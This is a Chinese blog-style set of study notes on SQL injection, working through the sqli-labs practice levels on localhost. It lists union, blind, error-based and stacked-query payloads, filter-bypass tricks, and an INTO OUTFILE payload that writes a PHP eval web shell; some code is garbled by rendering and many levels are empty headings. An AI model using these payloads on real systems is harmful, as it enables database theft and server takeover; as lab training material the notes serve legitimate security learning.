前言:
sql注入经常遇到,尤其是ctf题,一用就懵逼
得知此事要躬行,之前嫌天书太多了,偷懒只学了一点点
偷懒真是万恶的本源
目录
- basic knowledge
- 1、分类:
- 2、函数
- 3、一般用于尝试的语句
- less-1
- Less-2
- Less-3
- Less-4
- 盲注
- Less-5
- Less-6
- 导入导出相关操作
- Less-7
- Less-8
- Less-9
- Less-10
- Less-11
- Less-12
- Less-14
- Less-15
- Less-16
- Less-17
- Less-18
- Less-19
- Less-20
- Less-23
- Less-24
- Less-25
- Less-25a
- Less-26
- Less-26a
- Less-27
- Less-27a
- Less-28
- Less-28a
- Less-29
- Less-30
- Less-31
- Less-32
- Less-33
- Less-34
- Less-35
- Less-36
- Less-37
- Less-38
- Less-39
- Less-40
- Less-41
- Less-42
- Less-43
- Less-44
- Less-45
- Less-46
- Less-47
- Less-48
- Less-49
- Less-50
- Less-51
- Less-52
- Less-53
- Less-54
- Less55-Less57
- Less-58
- Less-59
- Less-60
- Less-61
- Less-62
- Less-63
- Less-64
- Less-65
basic knowledge
1、分类:
基于从服务器接收到的响应(最常用)
▲基于错误的 SQL 注入
▲联合查询的类型
▲堆查询注射
▲SQL 盲注
基于布尔 SQL 盲注
基于时间的 SQL 盲注
基于报错的 SQL 盲注
基于如何处理输入的 SQL 查询(数据类型)
•基于字符串
•数字或整数为基础的
基于程度和顺序的注入(哪里发生了影响)
★一阶注射
★二阶注射
一阶注射是指输入的注射语句对 WEB 直接产生了影响,出现了结果;二阶注入类似存储型 XSS,是指输入提交的语句,无法直接对 WEB 应用程序产生影响,通过其它的辅助间接的对 WEB 产生危害,这样的就被称为是二阶注入.
基于注入点的位置上的
▲通过用户输入的表单域的注射。
▲通过 cookie 注射。
▲通过服务器变量注射。 (基于头部信息的注射)
2、函数
show databases;
use security;
show tables;
desc emails;
系统数据库在注入的时候很重要,下面来讨论
use information_schema;
show tables;
desc tables;
一般的注入流程:
猜数据库,和show databases();的结果一样
select schema_name from information_schema.schemata
猜表名
select table_name from information_schema.tables where table_schema=’xxxxx’
猜列名
Select column_name from information_schema.columns where table_name=’xxxxx’
系统函数
介绍几个常用函数:
- version()——MySQL 版本
- user()——数据库用户名
- database()——数据库名
- @@datadir——数据库路径
- @@version_compile_os——操作系统版本
字符串连接函数
6. concat(str1,str2,…)——没有分隔符地连接字符串
7. concat_ws(separator,str1,str2,…)——含有分隔符地连接字符串
8. group_concat(str1,str2,…)——连接一个组的所有字符串,并以逗号分隔每一条数据
3、一般用于尝试的语句
Ps:–+可以用#替换,url 提交过程中 Url 编码后的#为%23
or 1=1–+
'or 1=1–+
"or 1=1–+
)or 1=1–+
')or 1=1–+
") or 1=1–+
"))or 1=1–+
一般的代码为:
i
d
=
id=
id=_GET[‘id’];
s
q
l
=
"
S
E
L
E
C
T
∗
F
R
O
M
u
s
e
r
s
W
H
E
R
E
i
d
=
′
sql="SELECT * FROM users WHERE id='
sql="SELECT∗FROMusersWHEREid=′id’ LIMIT 0,1";
①Select * from users where id=1 and 1=1;
②Select * from users where id=1 && 1=1;
③Select * from users where id=1 & 1=1;
上述三者有什么区别?①和②是一样的,表达的意思是 id=1 条件和 1=1 条件进行与运算。
③的意思是 id=1 条件与 1 进行&位操作,id=1 被当作 true,与 1 进行 & 运算 结果还是 1, 再进行=操作,1=1,还是 1(ps:&的优先级大于=)
Ps:此处进行的位运算。我们可以将数转换为二进制再进行与、或、非、异或等运算。必要 的时候可以利用该方法进行注入结果。例如将某一字符转换为 ascii 码后,可以分别与 1,2,4,8,16,32.。。。进行与运算,可以得到每一位的值,拼接起来就是 ascii 码值。再从 ascii 值反推回字符。(运用较少)
less-1
爆库:
http://localhost/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,2,group_concat(schema_name)%20from%20information_schema.schemata–+
爆 security 数据库的数据表
http://localhost/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%22security%22–+
爆 users 表的列
http://localhost/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%22users%22–+
爆数据
http://localhost/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,username,password%20from%20users%20where%20id=2–+
Less-2
所以这里的奇数个单引号破坏了查询,导致抛出错误。 因此我们得出的结果是,查询代码使用了整数。
其余的 payload 与 less1 中一直,只需要将 less1 中的 ‘ 去掉即可。 这里不赘述了。
Less-3
其余的 payload 与 less1 中一样
Less-4
其余的 payload 与 less1 中一样
盲注
盲注分为三类
•基于布尔 SQL 盲注
•基于时间的 SQL 盲注
•基于报错的 SQL 盲注
基于布尔 SQL 盲注
left(database(),1)>’s’ //left()函数
Explain:database()显示数据库名称,left(a,b)从左侧截取 a 的前 b 位
ascii(substr((select table_name information_schema.tables where tables_schema =database() limit 0,1),1,1))=101 --+ //substr()函数,ascii()函数 Explain:substr(a,b,c)从 b 位置开始,截取字符串 a 的 c 长度。Ascii()将某个字符转换 为 ascii 值
ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>98%23 //ORD()函数,MID()函数 Explain:mid(a,b,c)从位置 b 开始,截取 a 字符串的 c 位 Ord()函数同 ascii(),将字符转为 ascii 值
IFNULL(expr1,expr2)
如果 expr1 不是 NULL,IFNULL() 返回 expr1,否则它返回 expr2。
regexp 正则注入
select user() regexp ‘1’;
Explain:正则表达式的用法,user()结果为 root,regexp 为匹配 root 的正则表达式。 第二位可以用 select user() regexp ‘^ro’来进行
当正确的时候显示结果为 1,不正确的时候显示结果为 0.
select * from users where id=1 and 1=(if((user() regexp ‘^r’),1,0));
select * from users where id=1 and 1=(user() regexp’^r’);
select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema=‘security’ and table_name regexp ‘^us[a-z]’ limit 0,1);
like 匹配注入
基于报错的 SQL 盲注
Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2)) a from information_schema.columns group by a;
大致原理为分组后数据计数时 重复造成的错误
以上语句可以简化成如下的形式。
select count(*) from information_schema.tables group by concat(version(), floor(rand(0)*2))
如果关键的表被禁用了,可以使用这种形式
select count(*) from (select 1 union select null union select !1) group by concat(version(),floor(rand(0)*2))
如果 rand 被禁用了可以使用用户变量来报错
select min(@a:=1) from information_schema.tables group by concat(passwo rd,@a:=(@a+1)%2)
select exp(~(select * FROM(SELECT USER())a)) //double 数值类 型超出范围
//Exp()为以 e 为底的对数函数;版本在 5.5.5 及其以上
select !(select * from (select user())x) - (ps:这是减号) ~0
//bigint 超出范围;~0 是对 0 逐位取反,很大的版本在 5.5.5 及其以上
extractvalue(1,concat(0x7e,(select @@version),0x7e)) se
//mysql 对 xml 数据进 行查询和修改的 xpath 函数,xpath 语法错误
updatexml(1,concat(0x7e,(select @@version),0x7e),1)
//mysql 对 xml 数据进行 查询和修改的 xpath 函数,xpath 语法错误
select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x; //mysql 重复特性,此处重复了 version,所以报错。
基于时间的 SQL 盲注
If(ascii(substr(database(),1,1))>115,0,sleep(5))
//if 判断语句,条件为假, 执行 sleep
UNION SELECT IF(SUBSTRING(current,1,1)=CHAR(119),BENCHMARK(5000000,ENCODE(‘M SG’,’by 5 seconds’)),null) FROM (select database() as current) as tb1; //BENCHMARK(count,expr)用于测试函数的性能,参数一为次数,二为要执行的表达 式。可以让函数执行若干次,返回结果比平时要长,通过时间长短的变化,判断语句是否执 行成功。这是一种边信道攻击,在运行过程中占用大量的 cpu 资源。推荐使用 sleep() 函数进行注入
Less-5
猜测是盲注
解法一:利用 left(database(),1)进行尝试
解法二:利用 substr() ascii()函数进行尝试
解法三:利用 regexp 获取(2)中 users 表中的列
选择 users 表中的列名是否有 us**的列
解法四:利用 ord()和 mid()函数获取 users 表的内容
解法五:报错注入
?id=1’ union Select 1,count(*),concat(0x3a,0x3a,(select user()),0 x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a–+
利用 double 数值类型超出范围进行报错注入
http://127.0.0.1/sqllib/Less-5/?id=1’ union select (exp(~(select * FROM(SELECT USER())a))),2, 3–+
利用 bigint 溢出进行报错注入
http://127.0.0.1/sqllib/Less-5/?id=1’ union select (!(select * from (select user())x) - ~0),2,3- -+
xpath 函数报错注入
利用数据的重复性
http://127.0.0.1/sqllib/Less-5/?id=1’union select 1,2,3 from (select NAME_CONST(version(),1), NAME_CONST(version(),1))x --+
解法六:延时注入
利用 BENCHMARK()进行延时注入
http://127.0.0.1/sqllib/Less-5/?id=1’UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115),BEN CHMARK(50000000,ENCODE(‘MSG’,‘by 5 seconds’)),null)),2,3 FROM (select database() as current) as tb1–+
Less-6
那我们在这一关的策略和 less5 的是一样的。只需要将 ‘ 替换成 “ .
导入导出相关操作
Load_file(file_name):读取文件并返回该文件的内容作为一个字符串。
LOAD DATA INFILE 语句用于高速地从一个文本文件中读取行,并装入一个表中。文件名称必 须为一个文字字符串。
load data infile ‘/tmp/t0.txt’ ignore into table t0 character set gbk fields terminated by ‘\t’ lines terminated by ‘\n’
将/tmp/t0.txt 导入到 t0 表中,character set gbk 是字符集设置为 gbk,fields terminated by 是 每一项数据之间的分隔符,lines terminated by 是行的结尾符。
当错误代码是 2 的时候的时候,文件不存在,错误代码为 13 的时候是没有权限,可以考虑 /tmp 等文件夹。
TIPS:我们从 mysql5.7 的文档看到添加了 load xml 函数,是否依旧能够用来做注入还需要验 证。
Less-7
利用上述提到的文件导入的方式进行演示:
FILE权限指的是对服务器主机上文件的访问,数据库用户拥有FILE权限才可以执行select into outfile,load data infile操作,但是我一直试不成功。
http://127.0.0.1/sqllib/Less-7/?id=1’))UNION SELECT 1,2,3 into outfile “c:\wamp\www\sqlli b\Less-7\uuu.txt”%23
http://127.0.0.1/sqllib/Less-7/?id=1’))UNION SELECT 1,2,’<?php @eval($_post[“mima”])?>’ i nto outfile “c:\wamp\www\sqllib\Less-7\yijuhua.php”–+
Less-8
Less-9
http://localhost/sqli-labs-master/Less-9/?id=1%27%20and%20if(ascii(database(),1,1)=115,1,sleep(5))–+
http://localhost/sqli-labs-master/Less-9/?id=1%27%20and%20if(ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27%20limit%200,1),1,1))=101,sleep(5),1)–+
http://localhost/sqli-labs-master/Less-9/?id=1%27%20and%20if(ascii(substr((select%20column_name%20from%20information_schema.columns%20where%20table_name=%27users%27%20limit%200,1),1,1))=105,sleep(5),1)–+
http://localhost/sqli-labs-master/Less-9/?id=1%27%20and%20if(ascii(substr((select%20username%20from%20users%20limit%200,1),1,1))=68,sleep(5),1)–+
Less-10
和 less9 的区别就在于单引号(‘)变成了(“),请参考 less-9
Less-11
Less-12
admin’)and left(database(),1)>‘a’#
Less-14
admin" and left(database(),1)>‘a’#
admin"and extractvalue(1,concat(0x7e,(select @@version),0x7e))#
Less-15
admin’ and if(ascii(substr(database(),1,1))=115,sleep(5),1)#
Less-16
admin")and If(ascii(substr(database(),1,1))=115,1,sleep(5))#
Less-17
uname=admin&passwd=11’and extractvalue(1,concat(0x7e,(select @@version),0x7e))#
11’and If(ascii(substr(database(),1,1))=115,1,sleep(5))#
默认地,PHP 对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。所以您 不应对已转义过的字符串使用 addslashes(),因为这样会导致双层转义。遇到这种情况时可 以使用函数 get_magic_quotes_gpc() 进行检测。
stripslashes() 函数删除由 addslashes() 函数添加的反斜杠。
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
在我们 less17 的 check_input()中,对 username 进行各种转义的处理,所以此处不能使用 username 进行注入。
Less-18
修改user-agent
将 user-agent 修改为’and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and ‘1’='1
修改 user-agent 后在前台显示 user-agent 已经为修改后的了。
Less-19
将 referer 修改为’and extractvalue(1,concat(0x7e,(select @@basedir),0x7e)) and ‘1’='1
Less-20
cookie 从 username 中获得值后,当再次刷新时,会从 cookie 中读 取 username,然后进行查询。 登录成功后,我们修改 cookie,再次刷新时,这时候 sql 语句就会被修改了。
Less-23
id=1’or extractvalue(1,concat(0x7e,database())) or ‘1’='1
-1’union select 1,(select group_concat(schema_name) from information_schema.schemata),‘3
-1’ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),‘3
-1’ union select 1,(select group_concat(column_name) from information_schema.columns where table_name=‘users’),‘3
?id=-1’ union select 1,(select group_concat(username) from security.users ),'3
Less-24
Less-25
如何绕过 or 和 and 过滤。一般性提供以下几种思路:
(1)大小写变形 Or,OR,oR
(2)编码,hex,urlencode
(3)添加注释/or/
(4)利用符号 and=&& or=||
Less-25a
Less-26
在linux下可以成功利用
对于注释和结尾字符的我们此处只能利用构造一个 ’ 来闭合后面到 ’ ;
对于空格,有较多的方法:
%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格
Less-26a
?id=100‘)union%a0select%a01,2,3||(’1
?id=100’)union%a0select%a01,user(),(‘3
Less-27
?id=100’unIon%a0SelEcT%a01,database(),3||'1
Less-27a
?id=100"%a0UnIon%a0SElecT%a01,user(),"3
Less-28
/?id=100’)union%a0select(1),(user()),(3)||('1
Less-28a
Less-29
Less-30
Less-31
Less-32
Less-33
Less-34
Less-35
Less-36
Less-37
Less-38
Less-39
Less-40
Less-41
Less-42
c’;create table me like users#
c’;drop table me#
Less-43
username:admin
Password:c’);create table less43 like users#
Less-44
Password:a’;insert into users(id,username,password) values (‘144’,‘less44’,‘hello’)#
Less-45
Password:c’);create table less45 like users#
Less-46
Less-47
Less-48
Less-49
?sort=1’ and (If(ascii(substr((select username from users where id=1),1,1))=69,0,sleep(5)))–+
Less-50
Less-51
?sort=1%27;create%20table%20less51%20like%20us ers–+
Less-52
?sort=1;create%20table%20less52%20like%20users
Less-53
?sort=1%27;create%20table%20less53%20like%20us ers–+
Less-54
Less55-Less57
和Less54差不多,这里就不演示了
Less-58
Less-59
http://127.0.0.1/sqli-labs-master/Less-59/?id=-1 union select extractvalue(1,concat(0x7e,(select group _concat(table_name) from information_schema.tables where table_schema=‘challenges’),0x7e))–+
Less-60
?id=-1")union select extractvalue(1,concat(0x7e,(select grou p_concat(table_name) from information_schema.tables where table_schema=‘challenges’),0x 7e))–+
Less-61
?id=-1’))union select extractvalue(1,concat(0x7e,(select grou p_concat(table_name) from information_schema.tables where table_schema=‘challenges’),0x 7e))–+
Less-62
http://127.0.0.1/sqli-labs/Less-62/?id=1%27)and%20If(ascii(substr((select%20group_concat(tabl e_name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%2 7),1,1))=79,0,sleep(10))–+
Less-63
http://127.0.0.1/sqli-labs/Less-63/?id=1%27and%20If(ascii(substr((select%20group_concat(table _name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%27) ,1,1))=77,0,sleep(10))–+
Less-64
http://127.0.0.1/sqli-labs/Less-64/?id=1))and%20If(ascii(substr((select%20group_concat(table_n ame)%20from%20information_schema.tables%20where%20table_schema=%27challenges%27), 1,1))=79,0,sleep(10))–+
Less-65
http://127.0.0.1/sqli-labs/Less-65/?id=1%22)and%20If(ascii(substr((select%20group_concat(tabl e_name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%2 7),1,1))=79,0,sleep(10))–+
a-z ↩︎